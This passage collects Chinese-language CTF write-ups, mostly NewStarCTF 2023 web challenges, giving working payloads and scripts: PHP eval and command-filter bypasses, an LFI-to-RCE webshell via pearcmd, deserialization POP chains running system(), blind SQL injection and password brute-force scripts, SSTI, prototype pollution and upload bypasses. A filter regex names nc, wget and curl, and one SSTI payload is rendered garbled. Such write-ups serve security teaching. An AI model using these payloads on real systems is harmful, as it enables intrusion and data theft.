# 核心逻辑
result = ""

for i in range(0, len(hex_strings), 2):
    request = bytes.fromhex(hex_strings[i])
    response = bytes.fromhex(hex_strings[i + 1])

    db_number = int.from_bytes(request[-6:-4], byteorder='big')
    if db_number == 1002:
        data_byte = response[-2]
        result += f"{data_byte:02x}"

# 输出结果
print(f"十六进制结果: {result}")
print(f"ASCII表示: {bytes.fromhex(result).decode()}")
"""
十六进制结果: 3031303031313130303131303031303130313131303030303031303030303131303130313031303030313030303131303031313131303131303031313130303030313130303031313030313130313130303031313031313030303131303131303031313030313130303031313130303130313130303130303030313031313031303031313130303130303131303030303030313130303030303131303031303030303130313130313031313030313130303031313130303130303131313030313031313030303031303031303131303130303131303030313031313030303031303031313031303030313130303130303030313031313031303031313030313030303131303031303030313130313031303131303030313130303131303130303030313130303130303031313031313130303131303130313030313130303130303031313030313130303131303030313031313030303130303131313131303100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
ASCII表示: 0100111001100101011100000100001101010100010001100111101100111000011000110011011000110110001101100110011000111001011001000010110100111001001100000011000001100100001011010110011000111001001110010110000100101101001100010110000100110100011001000010110100110010001100100011010101100011001101000011001000110111001101010011001000110011001100010110001001111101                                              
"""
```

将 ASCII 表示的结果去掉零和一外其他字符转换成字符串即可得到 Flag。

```
0100111001100101011100000100001101010100010001100111101100111000011000110011011000110110001101100110011000111001011001000010110100111001001100000011000001100100001011010110011000111001001110010110000100101101001100010110000100110100011001000010110100110010001100100011010101100011001101000011001000110111001101010011001000110011001100010110001001111101

NepCTF{8c666f9d-900d-f99a-1a4d-225c4275231b}
```


# NewStarCTF 2023

## Web

### \[Week 1]泄漏的秘密

通过使用 dirsearch 扫描可以得到两个文件可访问 `robots.txt` 和 `www.zip` 。

robots.txt 内容如下

```
PART ONE: flag{r0bots_1s_s0_us3ful
```

[www.zip/index.php](http://www.zip/index.php) 内容如下

```php
<?php
$PART_TWO = "_4nd_www.zip_1s_s0_d4ng3rous}";
echo "<h1>粗心的管理员泄漏了一些敏感信息，请你找出他泄漏的两个敏感信息！</h1>";
```

即可得到 flag 如下

```
flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}
```

### \[Week 1]Begin of Upload

通过查看源代码可以发现使用的是前端过滤，通过在浏览器中禁止 JavaScript 后即可直接上传 shell 文件。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FfaJRlv31nR9tXHnjpqJz%2FBegin%20of%20Upload-1.png?alt=media&amp;token=99b854b3-2b3f-47b9-a125-a11be311beea" alt=""><figcaption></figcaption></figure>

通过蚁剑一把梭即可得到 flag（文件在 /fllll4g）。

```
flag{1b60e33c-182d-4a44-901a-549b43a7a66e}
```

### \[Week 1]Begin of HTTP

#### **0x00 GET**

```
请使用 GET方式 来给 ctf 参数传入任意值来通过这关
```

通过 param 传入 ctf 参数即可，如下

```
http://node4.buuoj.cn:29844/?ctf=123
```

#### **0x01 POST**

```
很棒，如果我还想让你以POST方式来给我传递 secret 参数你又该如何处理呢？ 
如果你传入的参数值并不是我想要的secret，我也不会放你过关的 或许你可以找一找我把secret藏在了哪里
```

查看源代码可以发现

```html
<!-- Secret: base64_decode(bjN3c3Q0ckNURjIwMjNnMDAwMDBk) -->
```

通过 base64 解密可以得到 Secret 值为 `n3wst4rCTF2023g00000d` ，通过 body 传入即可。

```
secret=n3wst4rCTF2023g00000d
```

#### **0x02 Cookie**

```
很强，现在我需要验证你的 power 是否是 ctfer ，只有ctfer可以通过这关
```

通过设置 Cookie 如下

```http
Cookie: power=ctfer
```

#### **0x03 User-Agent**

```
你已经完成了本题过半的关卡，现在请使用 NewStarCTF2023浏览器 来通过这关！
```

通过设置 User-Agent 如下

```http
User-Agent: NewStarCTF2023
```

#### **0x04 Referer**

```
希望你是从 newstarctf.com 访问到这个关卡的
```

通过设置 Referer 如下

```http
Referer: newstarctf.com
```

#### **0x05 X-Real-Ip**

```
最后一关了！只有 本地用户 可以通过这一关
```

通过设置 X-Real-Ip 如下

```http
X-Real-Ip: 127.0.0.1
```

就可以得到 flag 了。

### \[Week 1]ErrorFlask

通过题目得知需要从 Flask 中的报错中寻找答案，网页回显如下

```
give me number1 and number2,i will help you to add
```

通过输入字符串类型的值即可得到报错，Payload 如下

```
?number1=a&number2=b
```

得到回显后点击 `return "not ssti,flag in source code~"+str(int(num1)+int(num2))` 即可得到 flag ，不方便复制可以 F12 来复制。

```php
flag = "flag{Y0u_@re_3enset1ve_4bout_deb8g}"
```

### \[Week 1]Begin of PHP

```php
<?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}

if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
        if(md5($_POST['key3']) === sha1($_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
}

if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}

if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
}

if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);
    foreach($_POST as $var){
        if(preg_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        }
    }
    if($flag5){
        echo file_get_contents("/flag");
    }else{
        die("nope,this is level 5");
    }
}
```

#### **0x00 Level 1**

md5 绕过，可以通过数组进行绕过，Payload 如下

```
key1[]=1&key2[]=2
```

#### **0x01 Level 2**

md5 === sha1 绕过，同样可以通过数组进行绕过，Payload 如下（Level 5 中不允许 POST 的值出现任何数字或字母）

```
key3[]=@
```

#### **0x02 Level 3**

strcmp 函数绕过，同样可以通过数组进行绕过，Payload 如下

```
key1[]=1&key2[]=2&key4[]=4
```

#### **0x03 Level 4**

is\_numeric 函数绕过，将 key5 设置为 2024a(任意字符) 即可，Payload 如下

```
key1[]=1&key2[]=2&key4[]=4&key5=2024a
```

#### **0x04 Level 5**

`extract($_POST);` 函数相当于 `$name = $_POST['name']` 。

通过发现缺少了 flag5 变量，说明就需要通过以上方法来造出 flag5，又因为 POST 的值出现任何数字或字母，根据在 PHP 中，只要字符串不为空即为 `True` 的特性，故 Payload 如下

```
key3[]=@&flag5=@
```

即可得到 flag。

### \[Week 1]R!C!E!

```php
<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
    $password=md5($_POST['password']);
    $code=$_POST['e_v.a.l'];
    if(substr($password,0,6)==="c4d038"){
        if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
            eval($code);
        }
    }
}
```

本题需要知道 GET 或 POST 变量名中的非法字符会转化下划线，即 `$_POST['e_v.a.l']` 需要通过 `e[.v.a.l` 来传入。

并且题目中还存在一个 password，该参数会进行 md5 加密并对比前 6 位需要与 `c4d038` 一致，可以通过写脚本进行爆破。

```python
import hashlib

for i in range(0, 99999999):
    if hashlib.md5(str(i).encode(encoding='utf-8')).hexdigest()[:6] == "c4d038":
        print(i)
        break
        
# 114514
```

题目还对部分常见的恶意函数进行了过滤，但是可以通过 反引号 来执行 shell 命令，也可以通过 反斜杠 来进行绕过，Payload 如下

```
password=114514&e[v.a.l=echo `l\s /`;
```

可以得到回显如下

```
bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var
```

构造 Payload 如下即可得到 flag

```
password=114514&e[v.a.l=echo `tac /fl\ag`;
```

### \[Week 1]EasyLogin

随意注册一个账号后登录会进入终端，但在 BurpSuite 中可以发现还有一个特别的请求如下

```http
POST /passport/f9e41a08a6eb869b894f509c4108adcf2213667fe2059d896886c5943156c7bc.php
```

该请求的回显如下

```html
<!-- 恭喜你找到flag -->
<!-- flag 为下方链接中视频简介第7行开始至第10行的全部小写字母和数字 -->
<!-- https://b23.tv/BV1SD4y1J7uY -->
<!-- 庆祝一下吧！ -->
```

很显然，点进去一看是个诈骗 flag，继续研究终端的 JavaScript 源码发现这个终端是个虚假的终端，但在其中还能发现一个 `admin` 账号，并且存在一个提示 `Maybe you need BurpSuite.` ，看来用 bp 这方向没错，那就开始爆破寻找 `admin` 账号的密码。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FslR5PlwvlL0nSGhv4P92%2FEasyLogin-1.png?alt=media&amp;token=2b8d423e-f40c-4bb1-900a-d3583ce36ced" alt=""><figcaption></figcaption></figure>

从图中已知输入的密码会进行 md5 加密，通过编写 Python 脚本进行爆破，我这里爆破用的是 rockyou.txt ，可以在 Kali 中找到。

```python
import requests

with open('/usr/share/wordlists/rockyou.txt', 'r', encoding='latin-1') as file:
    for line in file:
        line = line.strip()
        data = {"un": "admin", "pw": f"{hashlib.md5(str(line).encode(encoding='utf-8')).hexdigest()}", "rem": "0"}
        ret = requests.post('http://node4.buuoj.cn:25956/signin.php', data=data)
        if 'div class="alert alert-success show' in ret.text:
            print(line)
            break
            
# 000000 
```

通过将得到的密码手动再进行一次登录操作，就可以得到 flag 了。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FSZBKI9H4CFQIpo8DnMmb%2FEasyLogin-2.png?alt=media&amp;token=a2717860-f453-4123-84e5-52e3d531a53c" alt=""><figcaption></figcaption></figure>

### \[Week 2]include 0。0

```
file=php://filter/read=convert.%2562ase64-encode/resource=flag.php
```

### \[Week 2]Unserialize？

```
unser=O:4:"evil":1:{s:3:"cmd";s:35:"c\at /th1s_1s_fffflllll4444aaaggggg";}
```

### \[Week 2]Upload again!

#### .htaccess 绕过、`<?` 绕过

```htaccess
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
```

### \[Week 2]R!!C!!E!!

```http
/bo0g1pop.php?star=eval(array_rand(array_flip(getallheaders())));
User-Agent: system("cat /flag");
```

### \[Week 2]游戏高手

进入 Console

```javascript
gameScore=999999999999999
```

运行玩游戏直接白给就可以得到 flag 了。

### \[Week 2]ez\_sql

```shell
$ python sqlmap.py -u http://ba57bf2c-be27-41e7-b824-792bf7347c7f.node4.buuoj.cn:81/?id=TMP0919 -D ctf --tables --dump-all
```

可以爆破数据库名字为 `ctf` ，表名 `here_is_flag` ，字段名 `flag` ，以及 flag。

### \[Week 3]Include 🍐

这题考察的是 LFI to RCE。

打开页面源代码如下

```php
<?php
    error_reporting(0);
    if(isset($_GET['file'])) {
        $file = $_GET['file'];
        
        if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
            die('hacker!');
        }
        
        include($file.".php");
        # Something in phpinfo.php!
    }
    else {
        highlight_file(__FILE__);
    }
?>
```

通过构造 payload 如下

```
file=phpinfo
```

可以发现 env 存在属性 FLAG 值为 `fake{Check_register_argc_argv}` ，通过查看属性 register\_argc\_argv 可以发现值为 `On` 。

> <https://cloud.tencent.com/developer/article/2204400>

register\_argc\_argv 告诉PHP是否声明了 `argv` 和 `argc` 变量，这些变量可以是 POST 信息、也可以是 GET 信息，设置为 TRUE 时，能够通过 CLI SAPI 持续读取 argc 变量（传递给应用程序的若干参数）和 argv 变量（实际参数的数组），当我们使用 CLI SAPI 时，PHP变量 argc 和 argv 会自动填充为合适的值，并且可以在SERVER数组中找到这些值，比如 $\_SERVER\['argv'] 。

当构造 payload `a=a+b+c` 的时候，可以通过 `var_dump($_SERVER['argv']);` 输出 `array(1){[0]=>string(3)"a=a" [1]=>string(1)"b" [2]=>string(1)"c"}` ，即通过 `+` 作为分割符。

通过构造 payload 如下

```
file=/usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_POST[1])?>+./1.php
```

可以得到回显如下

```
Successfully created default configuration file "/var/www/html/1.php"
```

通过访问 `1.php` ，并构造 payload 如下即可得到 flag。

```
1=system("cat /flag");
```

### \[Week 3]medium\_sql

根据题目描述可以得出需要进行一些绕过，先查看那些关键词被过滤了。

过滤关键词：union、# ，发现回显只有 `id not exists` 还有 ID 正确时的输出，故尝试布尔注入，经测试 `select、or、where、ascii` 需要进行大小写绕过。

```python
import requests
import time

target = "http://c14df6c5-9f87-4cfa-bd7a-9dd3bca93bf4.node4.buuoj.cn:81/"


def getDataBase():  # 获取数据库名
    database_name = ""
    for i in range(1, 1000):  # 注意是从1开始，substr函数从第一个字符开始截取
        low = 32
        high = 127
        mid = (low + high) // 2
        while low < high:  # 二分法
            params = {
                "id": "TMP0919' And (Ascii(suBstr((sElect(database()))," + str(i) + ",1))>" + str(mid) + ")%23"
            }
            time.sleep(0.1)
            r = requests.get(url=target+'?id='+params["id"])
            if "Physics" in r.text:  # 为真时说明该字符在ascii表后面一半
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if low <= 32 or high >= 127:
            break
        database_name += chr(mid)  # 将ascii码转换为字符
        print(database_name)
    return "数据库名：" + database_name


def getTable():  # 获取表名
    column_name = ""
    for i in range(1, 1000):
        low = 32
        high = 127
        mid = (low + high) // 2
        while low < high:
            params = {
                "id": "TMP0919' And (Ascii(suBstr((sElect(group_concat(table_name))from(infOrmation_schema.tables)wHere(table_schema='ctf'))," + str(
                    i) + ",1))>" + str(mid) + ")%23"
            }
            time.sleep(0.1)
            r = requests.get(url=target + '?id=' + params["id"])
            if "Physics" in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if low <= 32 or high >= 127:
            break
        column_name += chr(mid)
        print(column_name)
    return "表名为：" + column_name


def getColumn():  # 获取列名
    column_name = ""
    for i in range(1, 250):
        low = 32
        high = 127
        mid = (low + high) // 2
        while low < high:
            params = {
                "id": "TMP0919' And (Ascii(suBstr((sElect(group_concat(column_name))from(infOrmation_schema.columns)wHere(table_name='here_is_flag'))," + str(
                    i) + ",1))>" + str(mid) + ")%23"
            }
            time.sleep(0.1)
            r = requests.get(url=target + '?id=' + params["id"])
            if 'Physics' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if low <= 32 or high >= 127:
            break
        column_name += chr(mid)
        print(column_name)
    return "列名为：" + column_name


def getFlag():  # 获取flag
    flag = ""
    for i in range(1, 1000):
        low = 32
        high = 127
        mid = (low + high) // 2
        while low < high:
            params = {
                "id": "TMP0919' And (Ascii(suBstr((sElect(group_concat(flag))from(here_is_flag))," + str(i) + ",1))>" + str(mid) + ")%23"
            }
            time.sleep(0.1)
            r = requests.get(url=target + '?id=' + params["id"])
            if 'Physics' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if low <= 32 or high >= 127:
            break
        flag += chr(mid)
        print(flag)
    return "flag:" + flag


a = getDataBase()
b = getTable()
c = getColumn()
d = getFlag()
print(a)
print(b)
print(c)
print(d)
```

### \[Week 3]POP Gadget

源代码

```php
<?php
highlight_file(__FILE__);

class Begin{
    public $name;

    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}

class Then{
    private $func;

    public function __toString()
    {
        ($this->func)();
        return "Good Job!";
    }

}

class Handle{
    protected $obj;

    public function __call($func, $vars)
    {
        $this->obj->end();
    }

}

class Super{
    protected $obj;
    public function __invoke()
    {
        $this->obj->getStr();
    }

    public function end()
    {
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;

    public function end()
    {
        unset($this->handle->log);
    }

}

class WhiteGod{
    public $func;
    public $var;

    public function __unset($var)
    {
        ($this->func)($this->var);    
    }
}

@unserialize($_POST['pop']);
```

POP链如下

```
Begin::__destruct()->Then::__toString()->Super::__invoke()->Handle::__call($func, $vars)->CTF::end()->WhiteGod::__unset($var)
```

构造 Payload 过程如下

```php
<?php
highlight_file(__FILE__);

class Begin{
    public $name;

    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}

class Then{
    private $func;

    public function __construct($super)
    {
        $this->func = $super;
    }

    public function __toString()
    {
        ($this->func)();
        return "Good Job!";
    }

}

class Handle{
    protected $obj;

    public function __construct($ctf)
    {
        $this->obj = $ctf;
    }

    public function __call($func, $vars)
    {
        $this->obj->end();
    }

}

class Super{
    protected $obj;

    public function __construct($handle)
    {
        $this->obj = $handle;
    }

    public function __invoke()
    {
        $this->obj->getStr();
    }

    public function end()
    {
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;

    public function end()
    {
        unset($this->handle->log);
    }

}

class WhiteGod{
    public $func;
    public $var;

    public function __unset($var)
    {
        ($this->func)($this->var);
    }
}

@unserialize($_POST['pop']);

$begin = new Begin();
$ctf = new CTF();
$handle = new Handle($ctf);
$super = new Super($handle);
$begin->name = new Then($super);
$ctf->handle = new WhiteGod();
$ctf->handle->func = "system";
$ctf->handle->var = "cat /flag";

echo urlencode(serialize($begin));

// O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A10%3A%22%00Then%00func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3Bs%3A3%3A%22var%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D%7D%7D%7D%7D
```

### \[Week 3]GenShin

通过查看 Network - Headers 可以发现 Pop 属性值为 `/secr3tofpop` ，通过访问可以得到回显如下

```
please give a name by get
```

通过构造 Payload 如下

```
name=123
```

可以得到回显如下

```
Welcome to NewstarCTF 2023 123
```

猜测应该是 Python 的 SSTI 注入，通过构造 Payload 如下

```
name={{7*7}}
```

得到回显如下

```
big hacker!get away from me!
```

尝试另外一种 Payload 如下

```
name=<div data-gb-custom-block data-tag="print" data-0='7' data-1='7' data-2='7' data-3='7'></div>

```

可以得到回显如下

```
Welcome to NewstarCTF 2023 49
```

故判断可以通过此方法继续进行 SSTI 注入，通过尝试各种关键字可以发现 `单引号, init, lipsum, url_for, 反斜杠, popen` 被过滤了。

通过构造 Payload 如下

```
name=

<div data-gb-custom-block data-tag="print" data-0=''></div>

```

可以输出所有的子类，被过滤的关键字可以通过 `|attr()` 进行绕过，由于直接使用 eval 无法使用 chr 函数，因此需要通过在里面多套一层 eval 来实现，由于已经存在单双引号了，所以就直接全用 chr 函数来实现注入吧，生成脚本如下

```python
string = "__import__('os').popen('cat /flag').read()"
output = ""

for char in string:
    output += f"chr({ord(char)})%2b"

print(output)
"""
chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41)
"""
```

构造 Payload 如下

```
name=

<div data-gb-custom-block data-tag="print" data-0='' data-1='' data-2='132' data-3='132' data-4='132' data-5='132' data-6='132' data-7='132' data-8='132' data-9='132' data-10='132' data-11='132' data-12='132' data-13='132' data-14='132' data-15='2' data-16='__in' data-17='__in' data-18='+' data-19=')|attr(' data-20='__globals__' data-21='))[' data-22='__builtins__' data-23='].eval(' data-24='95' data-25='95' data-26='95' data-27='95' data-28='95' data-29='5' data-30='2' data-31='2' data-32='2' data-33='95' data-34='95' data-35='95' data-36='5' data-37='2' data-38='2' data-39='2' data-40='105' data-41='105' data-42='5' data-43='2' data-44='2' data-45='2' data-46='109' data-47='109' data-48='9' data-49='2' data-50='2' data-51='2' data-52='112' data-53='112' data-54='12' data-55='2' data-56='2' data-57='2' data-58='111' data-59='111' data-60='11' data-61='2' data-62='2' data-63='2' data-64='114' data-65='114' data-66='14' data-67='2' data-68='2' data-69='2' data-70='116' data-71='116' data-72='16' data-73='2' data-74='2' data-75='2' data-76='95' data-77='95' data-78='95' data-79='5' data-80='2' data-81='2' data-82='2' data-83='95' data-84='95' data-85='95' data-86='5' data-87='2' data-88='2' data-89='2' data-90='40' data-91='40' data-92='40' data-93='0' data-94='2' data-95='2' data-96='2' data-97='39' data-98='39' data-99='39' data-100='9' data-101='2' data-102='2' data-103='2' data-104='111' data-105='111' data-106='11' data-107='2' data-108='2' data-109='2' data-110='115' data-111='115' data-112='15' data-113='2' data-114='2' data-115='2' data-116='39' data-117='39' data-118='39' data-119='9' data-120='2' data-121='2' data-122='2' data-123='41' data-124='41' data-125='41' data-126='1' data-127='2' data-128='2' data-129='2' data-130='46' data-131='46' data-132='46' data-133='6' data-134='2' data-135='2' data-136='2' data-137='112' data-138='112' data-139='12' data-140='2' data-141='2' data-142='2' data-143='111' data-144='111' data-145='11' data-146='2' data-147='2' data-148='2' data-149='112' data-150='112' data-151='12' data-152='2' data-153='2' data-154='2' data-155='101' data-156='101' data-157='1' data-158='2' data-159='2' data-160='2' data-161='110' data-162='110' data-163='10' data-164='2' data-165='2' data-166='2' data-167='40' data-168='40' data-169='40' data-170='0' data-171='2' data-172='2' data-173='2' data-174='39' data-175='39' data-176='39' data-177='9' data-178='2' data-179='2' data-180='2' data-181='99' data-182='99' data-183='99' data-184='9' data-185='2' data-186='2' data-187='2' data-188='97' data-189='97' data-190='97' data-191='7' data-192='2' data-193='2' data-194='2' data-195='116' data-196='116' data-197='16' data-198='2' data-199='2' data-200='2' data-201='32' data-202='32' data-203='32' data-204='2' data-205='2' data-206='2' data-207='2' data-208='47' data-209='47' data-210='47' data-211='7' data-212='2' data-213='2' data-214='2' data-215='102' data-216='102' data-217='2' data-218='2' data-219='2' data-220='2' data-221='108' data-222='108' data-223='8' data-224='2' data-225='2' data-226='2' data-227='97' data-228='97' data-229='97' data-230='7' data-231='2' data-232='2' data-233='2' data-234='103' data-235='103' data-236='3' data-237='2' data-238='2' data-239='2' data-240='39' data-241='39' data-242='39' data-243='9' data-244='2' data-245='2' data-246='2' data-247='41' data-248='41' data-249='41' data-250='1' data-251='2' data-252='2' data-253='2' data-254='46' data-255='46' data-256='46' data-257='6' data-258='2' data-259='2' data-260='2' data-261='114' data-262='114' data-263='14' data-264='2' data-265='2' data-266='2' data-267='101' data-268='101' data-269='1' data-270='2' data-271='2' data-272='2' data-273='97' data-274='97' data-275='97' data-276='7' data-277='2' data-278='2' data-279='2' data-280='100' data-281='100' data-282='0' data-283='2' data-284='2' data-285='2' data-286='40' data-287='40' data-288='40' data-289='0' data-290='2' data-291='2' data-292='2' data-293='41' data-294='41' data-295='41' data-296='1'></div>
```

即可得到 flag。

### \[Week 3]R!!!C!!!E!!!

源代码如下

```php
<?php
highlight_file(__FILE__);
class minipop{
    public $code;
    public $qwejaskdjnlka;
    public function __toString()
    {
        if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
            exec($this->code);
        }
        return "alright";
    }
    public function __destruct()
    {
        echo $this->qwejaskdjnlka;
    }
}
if(isset($_POST['payload'])){
    //wanna try?
    unserialize($_POST['payload']);
}
```

通过 exec 方法可以执行系统命令，因此这题也考的是 Linux 的命令绕过。

由于引号没有进行绕过，所以可以通过引号进行关键字的绕过，构造 Payload 过程如下

```php
<?php
highlight_file(__FILE__);
class minipop{
    public $code;
    public $qwejaskdjnlka;
    public function __toString()
    {
        if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
            exec($this->code);
        }
        return "alright";
    }
    public function __destruct()
    {
        echo $this->qwejaskdjnlka;
    }
}
if(isset($_POST['payload'])){
    //wanna try?
    unserialize($_POST['payload']);
}

$pop = new minipop();
$pop->qwejaskdjnlka = new minipop();
$pop->qwejaskdjnlka->code = "cat /flag_is_h3eeere | t''ee 2";

echo serialize($pop);
// O:7:"minipop":2:{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{s:4:"code";s:30:"cat /flag_is_h3eeere | t''ee 2";s:13:"qwejaskdjnlka";N;}}
```

即可得到 flag。

### \[Week 3]OtenkiGirl

源代码中存在 `hint.txt` 内容如下

```
『「routes」フォルダーだけを見てください。SQLインジェクションはありません。』と御坂御坂は期待に満ちた気持ちで言った。
---
“请只看‘routes’文件夹。没有SQL注入。”御坂御坂满怀期待地说。
```

在 `routes/info.js` 可以发现该路由用于根据所给的 timestamp 输出该时间戳之后的所有内容。

```javascript
async function getInfo(timestamp) {
    timestamp = typeof timestamp === "number" ? timestamp : Date.now();
    // Remove test data from before the movie was released
    let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
    timestamp = Math.max(timestamp, minTimestamp);
    const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
    return data;
}
```

在输入 timestamp 后，上述方法会将所输入的 timestamp 与 min\_public\_time 进行对比，其中 `CONFIG.min_public_time` 值不存在，`DEFAULT_CONFIG.min_public_time` 值为 `2019-07-09` ，因此需要通过污染 `min_public_time` 属性才能使其输出 2019-07-09 之前的数据。

minTimestamp 首先会从 `CONFIG` 中获取 `min_public_time` ，获取失败后继续再从 `DEFAULT_CONFIG` 中获取，二者的原型对象都是 `Object` 。

在 `routes/submit.js` 中可以发现原型链污染点：

```javascript
// L39
const merge = (dst, src) => {
    if (typeof dst !== "object" || typeof src !== "object") return dst;
    for (let key in src) {
        if (key in dst && key in src) {
            dst[key] = merge(dst[key], src[key]);
        } else {
            dst[key] = src[key];
        }
    }
    return dst;
}

// L73
const DEFAULT = {
    date: "unknown",
    place: "unknown"
}
const result = await insert2db(merge(DEFAULT, data));
```

在上述代码中，`data` 的值是可控的，能够通过 POST 请求传入。`DEFAULT` 的原型对象也是 `Object` ，因此可以通过 submit 路由来进行污染攻击。

构造 Payload 如下

```json
{
    "contact":"a's'd",
    "reason":"a'd's",
    "__proto__": {
        "min_public_time":  "1970-01-01"
    }
}
```

通过访问 `/info/0` 可以得到回显得到 flag 。

```json
{
    status: "success",
    data: [
        ...,
        {
            wishid: "2TrumXdm9HTH9SZvgNPaHmAx",
            date: "2021-09-27",
            place: "学園都市",
            contact: "御坂美琴",
            reason: "海胆のような顔をしたあいつが大覇星祭で私に負けた、彼を連れて出かけるつもりだ。彼を携帯店のカップルのイベントに連れて行きたい（イベントでプレゼントされるゲコ太は超レアだ！）晴れの日が必要で、彼を完全にやっつける！ゲコ太の抽選番号はflag{c2c65ecd-d8d1-4b68-8003-5e608c0dc222}です",
            timestamp: 1190726040836
        },
        ...
    ]
}
```

### \[Week 4]逃

这题考察的是 PHP 反序列化逃逸。

```php
<?php
highlight_file(__FILE__);
function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}

unserialize(waf(serialize(new GetFlag($_GET['key']))));
```

可控的属性为 `key` ，并且可以通过 waf 中的替换来实现反序列化逃逸的效果。

```php
$getFlag = new GetFlag('');
echo '<br>'.serialize($getFlag).'<br>';
echo waf(serialize($getFlag)).'<br>';
// O:7:"GetFlag":2:{s:3:"key";s:0:"";s:3:"cmd";s:6:"whoami";}
// O:7:"GetFlag":2:{s:3:"key";s:0:"";s:3:"cmd";s:6:"whoami";}
```

需要通过逃逸构造出 `";s:3:"cmd";s:4:"ls /";}` 共 24 个字符，又因为 bad 替换成 good 后即增加一位，因此需要循环 24 次 bad 来进行逃逸。

```php
$getFlag = new GetFlag(str_repeat("bad", 24).'";s:3:"cmd";s:4:"ls /";}');
echo '<br>'.serialize($getFlag).'<br>';
echo waf(serialize($getFlag)).'<br>';
// O:7:"GetFlag":2:{s:3:"key";s:96:"badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}";s:3:"cmd";s:6:"whoami";}
// O:7:"GetFlag":2:{s:3:"key";s:96:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:3:"cmd";s:4:"ls /";}";s:3:"cmd";s:6:"whoami";}
```

构造 Payload 如下

```
key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}
```

即可输出跟目录的内容，同理构造 Payload 如下

```
